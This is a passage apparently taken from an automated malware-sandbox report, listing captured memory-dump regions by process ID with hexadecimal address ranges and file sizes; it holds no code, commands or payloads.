                    • memory/4652-290-0x000000000AFA0000-0x000000000AFB2000-memory.dmp
                      Filesize

                      72KB

                    • memory/4652-292-0x000000000B080000-0x000000000B085000-memory.dmp
                      Filesize

                      20KB

                    • memory/4684-168-0x0000000000000000-mapping.dmp
                    • memory/4692-244-0x0000000000000000-mapping.dmp
                    • memory/4704-281-0x0000000071C00000-0x00000000722EE000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/4704-277-0x0000000000000000-mapping.dmp
                    • memory/4704-310-0x0000000005B40000-0x0000000005B43000-memory.dmp
                      Filesize

                      12KB

                    • memory/4704-295-0x0000000002DB0000-0x0000000002DC1000-memory.dmp
                      Filesize

                      68KB

                    • memory/4704-288-0x0000000002DA0000-0x0000000002DA1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4704-284-0x0000000000AB0000-0x0000000000AB1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4712-170-0x0000000000000000-mapping.dmp
                    • memory/4736-173-0x0000000000000000-mapping.dmp
                    • memory/4760-294-0x0000000000000000-mapping.dmp
                    • memory/4760-304-0x00000000027D0000-0x00000000027D1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4760-306-0x00000000027D0000-0x00000000027D1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4760-307-0x0000000004510000-0x0000000004611000-memory.dmp
                      Filesize

                      1.0MB

                    • memory/4780-178-0x000000000043FCC3-mapping.dmp
                    • memory/4780-180-0x0000000000400000-0x0000000000498000-memory.dmp
                      Filesize

                      608KB

                    • memory/4800-104-0x0000000000000000-mapping.dmp
                    • memory/4828-348-0x0000000009850000-0x0000000009851000-memory.dmp
                      Filesize

                      4KB

                    • memory/4828-311-0x0000000000000000-mapping.dmp
                    • memory/4828-329-0x0000000008A80000-0x0000000008A81000-memory.dmp
                      Filesize

                      4KB

                    • memory/4828-377-0x0000000009AD0000-0x0000000009AD1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4828-313-0x0000000071C00000-0x00000000722EE000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/4828-320-0x0000000008050000-0x0000000008051000-memory.dmp
                      Filesize

                      4KB

                    • memory/4828-371-0x0000000009AE0000-0x0000000009AE1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4828-349-0x00000000099C0000-0x00000000099C1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4828-338-0x0000000009890000-0x00000000098C3000-memory.dmp
                      Filesize

                      204KB

                    • memory/4840-192-0x0000000005E90000-0x0000000005E91000-memory.dmp
                      Filesize

                      4KB

                    • memory/4840-191-0x0000000005810000-0x00000000058C0000-memory.dmp
                      Filesize

                      704KB

                    • memory/4840-114-0x0000000070230000-0x000000007091E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/4840-117-0x0000000000A20000-0x0000000000A21000-memory.dmp
                      Filesize

                      4KB

                    • memory/4840-194-0x0000000005940000-0x000000000594D000-memory.dmp
                      Filesize

                      52KB

                    • memory/4840-109-0x0000000000000000-mapping.dmp
                    • memory/4880-197-0x000000000043FCC3-mapping.dmp
                    • memory/4880-196-0x0000000000400000-0x0000000000493000-memory.dmp
                      Filesize

                      588KB

                    • memory/4880-199-0x0000000000400000-0x0000000000493000-memory.dmp
                      Filesize

                      588KB

                    • memory/4936-118-0x0000000000000000-mapping.dmp
                    • memory/4956-120-0x0000000000000000-mapping.dmp
                    • memory/4972-215-0x0000000000000000-mapping.dmp
                    • memory/5032-131-0x0000000000400000-0x0000000000498000-memory.dmp
                      Filesize

                      608KB

                    • memory/5032-132-0x000000000043FCC3-mapping.dmp
                    • memory/5032-134-0x0000000000400000-0x0000000000498000-memory.dmp
                      Filesize

                      608KB

                    • memory/5052-140-0x0000000000400000-0x0000000000439000-memory.dmp
                      Filesize

                      228KB

                    • memory/5052-137-0x0000000000417A8B-mapping.dmp
                    • memory/5052-135-0x0000000000400000-0x0000000000439000-memory.dmp
                      Filesize

                      228KB

                    • memory/5072-138-0x000000000041A684-mapping.dmp
                    • memory/5072-136-0x0000000000400000-0x0000000000425000-memory.dmp
                      Filesize

                      148KB

                    • memory/5072-142-0x0000000000400000-0x0000000000425000-memory.dmp
                      Filesize

                      148KB

                    • memory/5116-346-0x0000000005140000-0x0000000005164000-memory.dmp
                      Filesize

                      144KB

                    • memory/5116-340-0x0000000005110000-0x0000000005133000-memory.dmp
                      Filesize

                      140KB

                    • memory/5116-262-0x0000000000000000-mapping.dmp
                    • memory/5116-265-0x0000000071C00000-0x00000000722EE000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/5116-266-0x0000000000670000-0x0000000000671000-memory.dmp
                      Filesize

                      4KB

                    • memory/5116-275-0x0000000004EC0000-0x0000000004EC1000-memory.dmp
                      Filesize

                      4KB